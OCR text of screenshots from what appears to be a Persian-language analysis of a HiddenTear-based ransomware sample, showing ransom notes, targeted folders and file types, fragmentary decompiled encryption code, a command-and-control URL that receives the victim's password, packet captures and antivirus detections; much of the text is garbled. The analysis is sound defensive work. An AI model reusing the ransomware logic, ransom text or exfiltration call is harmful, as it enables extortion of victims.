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=, Pictures

i, Videos
4 & Computer
- & Local Disk (C3)

& Media (E)

'ﬁ, MNetwork

Pl e Bl ALl el @ b e 25 e



Aloys
wleUblis yglis gilbliyl yljg ‘ —_—

el Ubl g gl ¢ ojLu

| READ_IT.txt - Notepad = | (S |-
File Edit Format View Help
This computer has been hacked -

Your personal files have been ecrypted. Send me MONERO(XMR) to get decryption passcode.
MONERO(XMR) ADDRESS:

434eBWLtMW2USFORFBIGYUAdItd4zEL ByaBzKEYHVMCINWASRGLYPBANZY rXozR3tB6gWiNmhYmNpZNrrpZHB8eh5G7 GhBY
Contact opsvenezuela@rotonmail.com after sending 0.5 MONERO(XMR) thanks

After verification, you'll be able to see your beloved files again. :)
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Your important files videos, music, images, documents ... etc are encrypted with encryption RSA-2048 and AES-
128. Decrypting your files is only possible using a private key and a decryption program that are on my
secret server

To decrypt your files, please follow the instructions below :

1) Buy monero for $58 , (8.5 XMR)

2) Send monero to this address :

434eBWLtMw2USFIRFBIGYUAdItd4zE18yaBzKEYHvmCONWASRGLYPEANZy rXozR3tBogWiNmhVmNpZNrrpZHB8eh5GTGhBY
3) when I receive monero, I decrypt your files
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Desktop, Links, Contacts, Documents, Downloads, Pictures, Music, Videos, OneDrives, Saved
Games, Favorites, Searches

.txt, .doc, .docx, .xlIs, .xIsx, .ppt, .pptx, .odt, jpeg, .png, .csv, .sql, .mdb, .sln, .php, .asp, .aspx,
.html, .xml, .psd, .sql, .mp4, .7z, .rar, .m4a, .wma, .avi, .wmv, .csv, .d3dbsp, .zip, .sie, .sum,
.ibank, .t13, .t12, .qdf, .gdb, .tax, .pkpass, .bcb, .bc7, .bkp, .qic, .bkf, .sidn, .sidd, .mddata,
.itl, .itdb, .icxs, .hvpl, .hplg, .hkdb, .mdbackup, .syncdb, .gho, .cas, .svg, .map, .wmo, .itm, .sb,
fos, .mov, .vdf, .ztmp, .sis, .sid, .ncf, .menu, .layout, .dmp, .blob, .esm, .vcf, .vtf, .dazip, .fpk,
.mlx, .kf, .iwd, .vpk, .tor, .psk, .rim, .w3x, .fsh, .ntl, .archQO0, .lvl, .snx, .cfr, .ff, .vpp_pc, .Irf,
.m2, .mcmeta, .vfsO, .mpqge, .kdb, .db0, .dba, .rofl, .hkx, .bar, .upk, .das, .iwi, .litemod,
.asset, .forge, .Itx, .bsa, .apk, .red, .sav, .Ibf, .slm, .bik, .epk, .rgss3a, .pak, .big, wallet,
.wotreplay, .xxx, .desc, .py, .m3u, .flv, .js, .css, .rb, .p7c, .pk7, .p7b, .p12, .pfx, .pem, .crt,
.cer, .der, .x3f, .srw, .pef, .ptx, .r3d, .rw2, .rwi, .raw, .raf, .orf, .nrw, .mrwref, .mef, .erf, .kdc,
.dcr, .cr2, .crw, .bay, .sr2, .srf, .arw, .3fr, .dng, .jpe, .jpg, .cdr, .indd, .qi, .eps, .pdf, .pdd, .dbf,
.mdf, .wb2, .rtf, .wpd, .dxg, .xf, .dwg, .pst, .accdb, .mdb, .pptm, .pptx, .ppt, .xlk, .xIsb, .xIsm,
xlsx, .xls, .wps, .docm, .docx, .doc, .odb, .odc, .odm, .odp, .ods, .odt, .cs, .exe, .Ink, .mpeg,

.mp3, .mkv, .divx, .0gg, .zip, .wav, .bat, .index
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Organize ~ Include in library ~ Share with Burn New folder =~ [ Q
© Favorites Name B Date modified Type Size

M Desktop aviws.exe.locked 6/14/2018 243 PM  LOCKED File 5442 KB
14 Downloads py.zip.locked 6/14/2018 243 PM  LOCKED File 23,553 KB
~» Recent Places test file (1).dooxlacked 6/14/2018 243 PM  LOCKED File 12 KB
test file (1).dwg.locked 6/14/2018 243 PM  LOCKED File 115 KB
<4 Libraries test file (1).exe.locked 6/14/2018 244 PM  LOCKED File 5442 KB
-, Documents test file (1),jpg.locked 6/14/2018 244 PM  LOCKED File 404 KB
& Music test file (1).mov.locked 6/14/2018 244 PM  LOCKED File 1,536 KB
& Pictures test file (1).mp3.locked 6/14/2018 2:44 PM  LOCKED File 6,233 KB
H videos test file (1).mp4.locked 6/14/2018 244 PM  LOCKED File 48437 KB
test file (1).pdf locked 6/14/2018 244 PM  LOCKED File 510 KB
& Computer test file (1).rarlocked 6/14/2018 244 PM  LOCKED File 72215 KB
& Local Disk (C) test file (2).dooxlocked 6/14/2018 244 PM  LOCKED File 539 KB
& Media (E) test file (2).mp3.locked 6/14/2018 244 PM  LOCKED File 4,069 KB
test file (2).mp4.locked 6/14/2018 244 PM  LOCKED File 801 KB
@& Network test file (2).rar.locked 6/14/2018 244 PM  LOCKED File 29,909 KB
test file (3).jpg.locked 6/14/2018 244 PM  LOCKED File 226 KB
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o185, 50 )3 [P testfile (1).mpdlocked X 818 5y 31 amy
00000000 00 01 02 03 04 05 06 07 08 09 Oa Ob 0Oc 0d Oe Of f 00000000 00 01 02 03 04 05 06 07 08 09 0Oa Ob Oc 0d Oe 0f
00000000 00 00 00 18 &6 74 79 70 6d 70 34 32 00 00 00 0O o...ftypmpd2.... = 00000000 al 1k e4 8e dc al 2b d4 f0 Sf£ 9d af 05 99 &8 75 LEE0 +66_ ~.™hu
00000010 69 73 6f 6d 6d 70 34 32 00 03 1b 66 6d 6f 6f 7€ isommp42...fmoov = 00000010 533 1a 84 14 ad bl 46 ea 48 2b 0f eb a2 2d d4f 39 5.".-tFéH+.82-B9
00000020 00 00 00 6c &d 76 68 64 00 00 00 00 d3 £3 B9 45 w..lmvhd. . ..00%E 00000020 Tb 61 31 e2 &0 2e 52 68 el ac 4b 42 7f e4 ae 96 {ald’ .Rha-KB[ a8
00000030 d3 £3 89 45 00 01 5f 90 02 63 29 24 00 01 00 0O 0'0‘.'.E..7 .Cl&. 00000030 d3 ac £2 18 6b 6a 16 51 19 2a 18 dé 7Tc aé 1lc 40 (’!—.6.kj.Q.*.(§\ 1.

00000040 01 00 00 00O 00 00 00 OO 00 OO0 0O 0O 00 01 00 00
00000050 00 00 00 00 00 00 00 00 00 Q0 00 00 00 01 00 00
00000060 00 00 00 0O 00 00 00 OO 00 OO0 00 0O 40 00 00 00
00000070 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00
00000080 00 00 00 00O 00 00 00 OO 00 00 00 03 00 01 de 2c

00000040 [ 00 82 7b 5d c7 Sb 06 la do bf 9 2b c7 Id 83 56  .5{]G[..DgZ+CifV
00000050 | 16 43 26 d9 el £7 c7 1b 89 6d 46 72 6l &5 2b b0  .IsU&=C.%mFrad+”
00000060 [ 13 €9 96 71 af 23 e6 fc la af £l ed 12 98 49 d5 .i-g #aii. fii."I0
00000070 | 65 £5 b& b9 99 62 fe 72 c3 de 71 £1 90 a8 73 bd e, '"bpribgA "sn
00000080 | bE &a ba b0 el 1b 0Oc d3 35 7c 63 be £8 c0 a7 ca  ,3°"4..05|ckeASE

00000030 74 72 61 €b 00 00 00 5c 74 6k 628 &4 00 00 00 03 trak...\tkhd.... 00000090 | d5 1c 33 a0 ca 92 c0 20 le 70 14 £2 c7 29 be 2a 0.3 E'A .p.aC)u*
00000020 d3 £3 89 45 d3 £3 89 45 00 00 00 01 00 00 00 0O OA%EOHLE. 00000020 6c 39 0d b8 6f 61 55 33 ce 7f ca 7d 8e 1d &d 76 19.,0a03TE}E. v
000000b0 02 63 29 08 00 00 00 0O 00 Q0 00 OO0 00 00 00 00 ] - 000000b0 £4 57 £4 5d a7 08 &4 be dl 29 £8 02 &0 aa 26 49 W51 8. dxdl) &, 2T
000000c0 00 00 00 00 00 01 00 OO 00 0 00 00 00 00 00 00  .oewevnannans 000000c0 9 1f 78 T7c 3f 82 fd 6c 2e f3 b3 a4 O0b 09 f4 3c r.x|2,¥1.4%0. .6<

00000040 76 2a Ob la 1c 5a &9 fc 1le a0 €0 cl bd a3 15 bé V.. .Zid. CHsE.q
0000000 62 90 d3 9c £3 c3 53 78 1c a2 3e f2 25 f& 16 02 b Gedlisx. e>885. .
000000£0 6 53 c7 d7 fbeb dé 17 1c 87 bd el c8 75 58 dc a . #3saFuxd
00000100 f4 66 1b 15 e9 £7 e3 c2 f6 46 34 00 21 &8c bé f3 . 1E9E
00000110 ad 61 98 62 de 24 9e a9 57 df d3 16 6e 06 Oe e9 “a"bEszoWEl.n. .&
00000120 89 43 de 33 ad ba 6c d6 54 23 éc cb 01 99 Tc 33 £CB3-°16T#1E.™|3
00000130 €3 91 S5c 94 d9 83 a6 ca a3 48 Se 41 a2 95 5d %a a2\ 0f | ELH Ae=]3
00000140 68 64 6c 72 00 00 00 OO 00 OO0 00 OO0 76 69 64 65 00000140 6f eb ed e6 39 d0 59 ac  2f ad 5 73 77 07 c2 f2 oBemeDY-/-haw. A5
00000150 00 00 0O OO 00 00 00 OO 00 Q0 QOO0 00 49 53 4f 20 00000150 32 95 Oe a9 b8 fe c5dl bl 02 db la ee 78 15 99 ".Bapé.ﬁi:.ﬁ.ix."
00000160 4d 65 64 69 61 20 66 69 &6c 65 20 7O 72 6f 64 75 Media file produ 00000160 6c 3b 4f fb de a5 49 96 b7 68 45 58 &7 &84 52 1f 1;00G5¥I- -hEX%,R.
00000170 63 65 64 20 62 79 20 47 &L 6L €7 6c 65 20 49 Ee ced by Geogle In 00000170 12 b2 bb ££ cB 61 06 ae £3 3b 4e 00 £l ef 4d f1 . =»JEa.
00000180 63 2e 00 00 01 dd 35 6d 69 6e 66 00 00 00 24 64 c....¥Sminf...5d 00000180 ac £3 33 9b c% 44 df £5 03 58 46 75 09 2e 3§ al ~53>EMBE.XFu. . 67
00000190 €9 6e 66 00 00 00 1c &4 72 65 €6 00 00 00 00 0O 000001390 fded Ocea cd 00 8e 47 «c9 bl 76 90 ac 48 e2 4f yi.ei.ZgEsv -HEO
00000120 00 00 01 00 00 00 Oc 75 72 6c 20 00 00 00 01 OO 00000120 ee 2d e5 55 f9 1c 6a bl 15 66 54 e6 53 56 38 48

4 LI [> 4 1

00000040 00 00 0O QO 00 01 00 OO 00 Q0 Q0O 00 00 00 00 00
0000000 00 00 00 00 40 00 00 OO 05 00 00 00 02 40 00 00
000000£0 00 00 00 24 65 64 74 73 00 00 00 lc 65 éc 73 74
00000100 00 00 00 00 00 00 00 01 02 63 29 08 00 00 Ob bE
00000110 0001 00 00 00 01 dd a4 &d 64 €9 61 00 00 00 20
00000120 6d 64 62 64 00 00 00 00 d3 £3 B89 45 43 £3 89 45
00000130 00 01 S£ 90 02 63 29 08 55 c4 00 00 00 00 00 47

inf....dref..

File Comparison

Type Offset (Source) Offset (Dest) Size

Inserted 44,684,362 44,684,362 12
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Save
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P = u Iy ".
assword(15)";

ending(password);

flag = Forml.
flag2 = flag;
(flag2)

i1}

lpaperFromieb(

LA

i1}

word(password) ;

(!flag);
.selfDestroy();

Application. ();

MoveVirus() : void

(path);

(path);

(text);

str = "\\" + Process.

text2 =

sourceFileName = text2;

(sourceFileName, text);

T
=y
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Directory_Settings_Sending(string) : void

location .userDir .userNam "\\Desktop";
i \\Links";

YA

location2

location3 str

locationd

location5 str

locationé str

location7 str \\Pictures";

location8 str \\Music";

+ + + + + 4+ + o+
+ + + + + 4+ + o+
+ + + + + 4+ + o+

location9 str \\OneDrive";

locationl® _userDir + str .userham "\\Saved Games";

locationll _userDir + str .userham "\\Favorites";

locationl2 .userDir str .useriam "\\Searches";

locatlon13 userDir + str + .userham "\\Videos";
locatlon, password) ;

(location2, password);

'(location3, password);

/(locationd, password);

y(location5, password);

'(location6, password);

y(location8, password);
(location9, password);
(location1®, password);
(locationll, password);
(locationl2, password);

y(
(
(
(
(
y(
y(location7, password);
(
(
(
(
(
(

(locationl3, password);

J:ASJQMWJ{.)J&)@.JJ‘) Lﬁ'ﬁ‘j}cl" rla.:..’. bl};:\tt;

messageCreator() : void

[] contents =

"This computer has be
"Your personal files ha n ecrypted. Send me MONERO(XMR) to get decryption passcode.”,
"MONERO(XMR) ADDRESS: 434eBNLtMw2USFIRFBIGYUAdItd4zE18yaBzKEYHvmCONWASRGLYPEANZyrXozR3tB6gljNmhVmNpZNrrpZHBSe

"Contact opsvenezuela@protonmail.com after sending 8.5 MONERO(XMR) thanks",
"After verification, you'll be able to see your beloved files again. :)"

=}

(path, contents);




=le Ublg glis g eulbliyl eyljg ‘

whplele Ublg 5 gUs ¢ lojLu

.“\"S& w)f&b}W)Jb@ﬂ‘@dw‘ W}ﬂ)ﬁ%ﬁ)‘o}w‘b)‘f‘ CL:

CheckForlnternetConnection() : bool

Client webClient

(webClient.O

S pshkilen Lol il g S0 Lo 5 SU 3 s a3l petS Aol B 4 by e 5 US ankad
. J.JJLJL;N M:AJ o J.i}‘@: J;-:’L: 4.)))‘.3 )‘f‘cb L e)Lb\

Forml >

Forml. Bu, path, 3u);

Client webClient
webClient

S r 3l 3 gy G 3 S asdad b 5l L

CreatePassword(int) : string

)" [random. Next
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SendPassword(string) : void

password )

Forml X




=le Ublg glis g eulbliyl eyljg ‘

whplele Ublg 5 gUs ¢ lojLu

Lu\—il.wd_ﬂ oalaul LS::':-" Yo CBC db— DL, AES LS)KJJA) &)}Q‘ )‘ )‘jﬁ‘cl.a r_l.)j.a.’ a)L.i\ Y )j-h—vl-o.h
R RIS SRR

AES_Encrypt(byte[], byte[]) : byte[]

[] bytesToBeEncrypted, [] passwordBytes)

bytesToBeEncrypted bytesToBeEncrypted.
)z

)s

encryptDirectory(String, String) : Void X

ry(location , password

0

- j
(location)
(location)

(i))

-4
, password)
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password)

(file);
assword) ;

ncrypted, array);

(path);

(file,
(file, file + "

: L3 s http://thepussy.euo.org/venezuela/write.php «uls U,UJT O by py el

1))
83

& Endpoint X =

& [cA} ® thepussy.euS.org/venezuelawrite.php - Q% yiIn@D =

Zend Amf Endpoint
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mscoree.dl| \

_CorExeMain

e hidden-tear.exe

o C:\Windows\SystemYY\cmd.exe"/CtimeoutY&&Del/Q/F
=  timeout.exe

Doy o i e 53 Bl b S 5 (6 s SLALS

HKEY _LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI Y\ EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI Y'Y\ EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI Y\ FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI I\ ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI "\ MaxFileSize

HKEY _LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI YN\ FileDirectory
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toDetect

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ MaxFileSize

HKEY _LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ FileDirectory

HKEY _LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ FileTracingMask

HKEY _LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS\ ConsoleTracingMask

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\ZoneMap\U
NCAsIntranet

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\ZoneMap\Au

A [tcp.stream eq 1

Mo, Time
86 25.501238
87 25.756220
88 25.756279
89 25.756476
90 26.015918
91 26.025613

93 26.032260
94 26.038416

96 26.045068

98 26.051496

101 26.058170
102 26.064295
103 26.070660
164 26.670691
105 26.877817
106 26.086176
107 26.086205
108 26.106255
169 26.292694
110 26.299237
111 26.299280
112 26.311062
113 26.311803
114 26.311822
115 26.318488
116 26.324931
117 26.324959

Source
192.168.1.34
69.197.143.12
192.168.1.34
192.168.1.34
69.197.143.12
69.197.143.12

192.168.1.34
69.197.143.12

69.197.143.12

69.107.143.12

192.168.1.34
69.197.143.12
69.197.143.12
192.168.1.34
69.197.143.12
69.197.143.12
192.168.1.34
192.168.1.34
69.197.143.12
69.197.143.12
192.168.1.34
69.197.143.12
69.197.143.12
192.168.1.34
69.197.143.12
69.197.143.12
192.168.1.34

Aas o 0L |, OpsVenezuela | ;3! th sl Sl o)l B ) S

Destination
69.197.143.12
192.168.1.34

69.197.143.12
69.197.143.12
192.168.1.34
192.168.1.34

69.197.143.12
192.168.1.34

192.168.1.34

192.168.1.34

69.197.143.12
192.168.1.34
192.168.1.34
69.197.143.12
192.168.1.34
192.168.1.34
69.197.143.12
69.197.143.12
192.168.1.34
192.168.1.34
69.197.143.12
192.168.1.34
192.168.1.34
69.197.143.12
192.168.1.34
192.168.1.34
69.197.143.12

Protocol
TP
(]
e
HTTP
P
TP

TP
TP

TP

TP

TP
(]
Tce

(]
Tce
TP

TP
P

Length Info

66 49392 » 89 [SYN] Seq=8 Win=8192 Len= MSS5=146@ WS=256 SACK_PERM=1

66 80 + 49392 [SYN, ACK] Seqs0 Ack=1 Win=29200

Len=0 MSS=1484 SACK_PERMs1 WS=128

54 49392 » 80 [ACK] Seq=1 Ack=1 Win=65792 Len=0

131 GET /Warning.png HTTP/1.1
60 80 » 49392 [ACK] Seq=1 Ack=78 Win=29312 Len:

1458 80 + 49392 [ACK] Seq=1 Ack=78 Win=29312 Len=1404 [TCP segment of a reassembled PDU]

o

66 49392 » 80 [ACK] Seq=78 Ack=1405 Win=65792 Len=0 SLE=2800 SRE=4213
1458 80 » 49392 [ACK] Seq=4213 Ack=78 Win=29312 Len=1484 [TCP segment of a reassembled PDU]

Sl Kl ks

1458 80 » 49392 [ACK] Seq=5617 Ack=78 Win=29312 Len=1404 [TCP segment of a reassembled PDU]

1458 8 » 49392 [ACK] Seq=7021 Ack=78 Win=20312 Len=1404 [TCP segment of a reassembled PDU]

54 49392 » 80 [ACK] Seq=78 Ack=8425 Win=65792 Len=0
1458 80 + 49392 [ACK] Seq=8425 Ack=78 Win=29312 Len=1484 [TCP segment of a reassembled PDU)
1458 80 + 49392 [ACK] Seq=9829 Ack=78 Win=29312 Len=1404 [TCP segment of a reassembled PDU]

54 49392 » 80 [ACK] Seq=78 Ack=11233 Win=65792
1458 80 » 49392 [ACK] Seq=11233 Ack=78 Win=29312
1458 80 + 49392 [ACK] Seq=12637 Ack«78 Win=29312
54 49392 » 80 [ACK] Seq=78 Ack=14041 Win=64512
54 [TCP Window Update] 49392 + 80 [ACK] Seq=78
1458 80 » 49392 [ACK] Seqe14841 Acks78 Win=29312
1458 80 + 49392 [ACK] Seq=15445 Ack=78 Win=29312

5449392 + 80 [ACK] Seq=78 Ack=16849 Win=65792
1458 80 » 49392 [ACK] Seq=16849 Ack=78 Win=29312
1458 80 + 49392 [ACK] Seq=18253 Ack=78 Win=29312

54 49392 » 80 [ACK] Seq=78 Ack=19657 Win=65792
1458 80 » 49392 [ACK] Seq=19657 Ack=78 Win=29312
1458 80 + 49392 [ACK] Seq=21061 Ack=78 Win=29312

54 49392 » 80 [ACK] Seq=78 Ack=22465 Win=65792

Len=0

Len=1404 [TCP segment of a reassembled
Len<1404 [TCP segnent of a reassembled
Len=0

Ack=140841 Win=65792 Len=0

Len=1404 [TCP segment of a reassembled
Len=1404 [TCP segment of a reassembled
Len=0

Len=1404 [TCP segment of a reassembled
Len=1404 [TCP segment of a reassembled
Len=0

Len=1404 [TCP segment of a reassembled
Len=1404 [TCP segment of a reassembled
Len=0

POU)
POU]

POU]
POU]

POU)
POU]

U]
POU]

-] Expression...  +

120 26.337788
121 26.344123
122 26.344153
17326 35A833

69.197.143.12
69.197.143.12
192.168.1.34
£9.197 143 12

192.168.1.34
192.168.1.34
69.197.143.12
192 168 134

00 Bc 29 63 96 84 58 8b 3 99 36 cc 08 00 45 00

D 7 vareshark_930F4962-A008-498E-AEC7-7COEIBESH281_20180614134950_01952

TP
TP
e
e

B ey S

1458 80 + 49392 [ACK] Seq=22465 Ack=78 Win=29312 Len=1404 [TCP segment of a reassembled PDU]
1458 80 + 49392 [ACK] Seq=23869 Ack=78 Win=29312 Len=1484 [TCP segment of a reassembled PDU)

54 49392 » 80 [ACK] Seq=78 Ack=25273 Win=65792

Len=0

1458 80 » 49397 [ACK] Sen=25773 Ack=78 Win=79312 |en=1404 [TCP sesment of a reassemhled PNiL

.E.

Packats: 317 - Displayed: 110 (34.7%)
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A fcp sraom ea 0
. Time

12 17.790822

Destination
216.58. 208.36

Protocal

TCP

Length  Tafo
66 49391 » 443 [SYN] Seq-0 Win=8192 Len=@ M5S=1450 WS=256 SACK_PERM=1

EIED -] gression.. +

14 21.199169
15 21.199222
16 21.231852

20 24.476151
21 24.476152
22 24.476153
23 24.476214
24 24.496449
25 24.608147
26 24.618531

28 25.168893
29 25.195541
30 25.202951
31 25.202982
32 25.211095
33 25.217478
34 25.217511
35 25.225614
36 25.235679
37 25.235119

41 25.247014
42 25.265639
43 25.265641
44 25.265685
45 25.269882
46 25.276569
47 25.276614
48 25.284926
49 25 324571

58 8b f3 99 36 cc @@ Ac

216.58.208.36
192.168.1.34
192.168.1.34

216.58.208.36
216.58.208.36
216.58.208.36
192.168.1.34
192.168.1.34
216.58.208.36
192.168.1.34

216.58.208.36
216.58.208.36
216.58.208.36
192.168.1.34

216.58.208.36
216.58.208.36
192.168.1.34

216.58.208.36
216.58.208.36
192.168.1.34

192.168.1.34
216.58.208.36
216.58.208.36
192.168.1.34
216.58.208.36
216.58.208.36
192.168.1.34
216.58.208.36
216 58 208 36

29 63 96 B4 05 00 45 00 X.

192.168.1.34
216.58.208.36
216.58.208.36

192.168.1.34
192.168.1.34
192.168.1.34
216.58.208.36
216.58.208.36
192.168.1.34
216.58.208.36

192.168.1.34
192.168.1.34
192.168.1.34
216.58.208.36
192.168.1.34
192.168.1.34
216.58.208.36
192.168.1.34
192.168.1.34
216.58.208.36

216.58.208.36
192.168.1.34
192.168.1.34
216.58.208.36
192.168.1.34
192.168.1.34
216.58.208.36
192.168.1.34
192 168 1 34

D 7 wareshark_y3DF4962-A008-498E-AECT-7CHEISESB2E1_20180614134950_201952

TP
TP
TLSv1

TCR
TLSW1
TLSW1
TP

TLSV1
TLSW1
TLSv1

TP
TLSW1
TLSw1
TP

TLSW1
TLSvl
Tce

TLSw1
TLSW1
TP

66 443 » 49391 [SVN, ACK] Seq=B Ack=1 Win=42788 Len=0 MsS=1388 SACK PERM=1 W5=256
54 49391 + 443 [ACK] Seq=1 Ack=1 Win=66848 Len=9
174 Client Hello

60 443 » 49391 [ACK] Seq=1 Ack=121 Win=43068 Len=0
1458 Server Hello
1018 Certificate, Server Key Exchange, Server Hello Done
5449391 » 443 [ACK] Seqe121 Ack=2361 Win=66848 Len=@
188 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
113 Change Cipher Spec, Encrypted Handshake Message
192 Application Data, Application Data

68 443 + 49391 [ACK] Seq=2420 Ack=393 Win=45856 Len=
1451 Application Data
1451 Application Data
5449391 » 443 [ACK] 5eq=393 Ack=5214 Win-66648 Len=0
1458 Application Data
1458 Application Data [TCP segment of a reassembled PDU]
5449391 - 443 [ACK] Seq=393 Ack=8622 Win=66848 Len=0
1458 Application Data [TCP segment of a reassembled PDU]
1438 Application Data
54 49391 + 443 [ACK] Seq=393 Ack=18802 Win=66848 Len=0

54 49391 » 443 [ACK] Seq=393 Ack=13618 Win-66048 Len-0
1458 Ignored Unknown Record
1458 Ignored Unknown Record

54 49391 - 443 [ACK] Seq=393 Ack=16418 Win=66048 Len=0
1458 Ignored Unknown Record
1458 Ignored Unknown Record

54 49391 » 443 [ACK] Seq=393 Ack=19226 Win=66848 Len=@
1458 Ignored Unknown Record

1458 Tennred linknown Rernrd

Packots: 361 - Displayed: 73 (20.295)
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Profile: Default
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thepussy.eu®.org 19404V eV Y sl sdseze YL

www.google.com YYVLOAY AXT el sdmeze YL

V. http://thepussy.eu®.org/venezuela/write.php?computer_name=PC&userName=adm
in&password=CreatePassword() °)&allow=ransom
Y. http://thepussy.eu®.org/Warning.png
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https://www.hybrid-analysis.com/search?query=port%3A80
https://www.hybrid-analysis.com/search?query=port%3A80
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reshark - Follow TCP Stream (tcp.stream eq 0) - wireshark_93DF4962-A00B-49BE-AEC7-7C8E38ES82B1_20180614134959_a01952

8.@.3.A.h.4..

wwi - google . com.

LS. ["3ZP]. ..} & ..... 5.F.-.."..d el ). 1AL N\.SW&....C.5.._H.m.
. )

- -.U....USs1.0..
..Google Trust Servicesl%0#..U...
1805230946437 .

180815090800Z0h1.0
Californial.@
Mountain Viewl.

.Google Internet Authority G20..

..usi.e...U

GDDgle LLC1.0.
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‘ Wireshark - Follow TCP Stream (tcp.stream eq 1) - wireshark_83DF4962-A00B-49BE-AECT-7C8E38E582B1_20180614134959_a01952

GET /Warning.png HTTP/1.1
Host: thepussy.euS.org
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 14 Jun 2018 09:21:00 GMT

Server: Apache/2.4.33

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Last-Medified: Sat, 26 May 2018 13:45:48 GMT

ETag: "13@7a-56d1c19a64bse™

I Accept-Ranges: bytes
Content-Length: 77946

| Keep-Alive: timeout=1,

I Content-Type: image/png

max=10000

.I .PNG

-D. ..@....0....0...r....C.4.0....0....0
.C @ -@-----!@G@UD @ .@....0.
venezuela."wr‘lte php%omputer‘ name=WIN- TDCDPFDSSVG&user‘Name SADEGH&passwurd CreatePassword(15)&allow=ransom HTTP/1.1
Host: thepussy.eu5.org

HTTP/1.1 200 OK

Date: Thu, 14 Jun 2018 @9:21:81 GMT
Server: Apache/2.4.33

|| X-Powered-By: PHP/7.1.18
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

18
<title>Endpoint</title>

@

4 cllent pkts, 59 server phts, § tums,

WNAVAETNY ol @ bg e Sledbl 51 isn 1Y, g

..IEND.B" .GET /
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69.197.143.12 |IP Address Information

ISP Protonhosting.com
Usage Type Data Center/Web Hosting/Transit
Hostname hosted-by.freewha.com

Domain Name longplace.net
Country

City Kansas City, Missouri

REPORT 69.197.143.12 VIEW ABUSE REPORTS

hosted-by.freewha.com

WNAVNETNY ol S Cardge X g

216.58.208.36 |IP Address Information

ISP Google LLC

Usage Type Data Center/Web Hosting/Transit
Hostname fra15s12-in-f4.1e100.net
Domain Name google.com

Country

City Mountain View, California

REPORT 216.58.208.36 VIEW ABUSE REPORTS

fra15s12-in-f4.1e100.net
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i 3L VirusTotal wbolo 53 54> 50 S5l 5T 5 es s 1V 513,50 0V sl ol Jb= o

AhnLab-v3

Avast

Avira

CAT-QuickHeal

Gyren

Fortinet
Ilkarus

K7Gw

Microsoft

Palo Alto Networks
Qihoo-360

Sophos AV
SUPERAntiSpyware
Tencent
TrendMicro-HouseCall

VIPRE

PP PPEPPPPPPEPPPPPRPPPEDPPD

S o b e b B 1 0T 03 18 2 cnl bl

Gen:Heur.Ransom.HiddenTears.1
Malware/Win32.Generic.C1020407
Trojan/Win32 AGeneric
Win32:Malware-gen

TR/Downloaderylayq

Win32.Trojan.WisdomEyes.16070401....

Ransom.Ryzerlo.FC.1834
W32/Ransom.iQ.gen!Eldorado
Gen:Heur.Ransom.HiddenTears.1 (B)
Gen:Heur.Ransom.HiddenTears.1
W32/Ransom.IQgen!Eldorado
MSIL/Generic APS4D266!tr
Trojan-Ransom.HiddenTear
Trojan ( 004cd5d01 )
Ransom.HiddenTear
Ransomware-FTD!4F358B4675C6
Ransom:MSIL/Ryzerlo.A
genericml
Win32/Trojan.Ransom.786
Troj/Cryptear-F
Ransom.HiddenTear/Variant
Win32.Trojan.Fakedoc.Auto
Ransom_CRYPTEAR.SMO
Trojan.Win32.Generic!8T
W32.Trojan.Gen

HEUR:Trojan.Win32.Generic

AegisLab
AlYac
Arcabit
AVG

AVware

ESET-NOD32

F-Secure

K7AntiVirus

Sophos ML

TrendMicro

ViRobot

Yandex

Avast Mobile Security

epbPPEPPPPPPPPPPPPEPPPEPPDEPDPD

Troj.W32.Genericlc
Trojan.Ransom.HiddenTear
Trojan.Ransom.HiddenTears.1
Win32:Malware-gen
Trojan.Win32.Generic!BT
Gen:Heur.Ransom.HiddenTears.1
Unsafe

Trojan.Encoder.10598

malicious (high confidence)
avariant of MSIL/Filecoder.Y
Gen:Heur.Ransom.HiddenTears.1
MSIL.Trojan-Ransom.Cryptear.A
Trojan ( 004cdSd01 )
HEUR:Trojan.Win32.Generic
malware (ai score=99)
Ransomware-FTD!4F358B4675C6
Trojan.Win32.Encoder.fcsmt!
Tri/GdSda.A

static engine - malicious
heuristic

Ransom.HiddenTear!g1
Ransom_CRYPTEAR.SMO
TScope.Trojan.MSIL
Trojan.Win32.Z.Ransom.222208
Trojan.Agent!Ya2XJ8ZXmwQ

Clean
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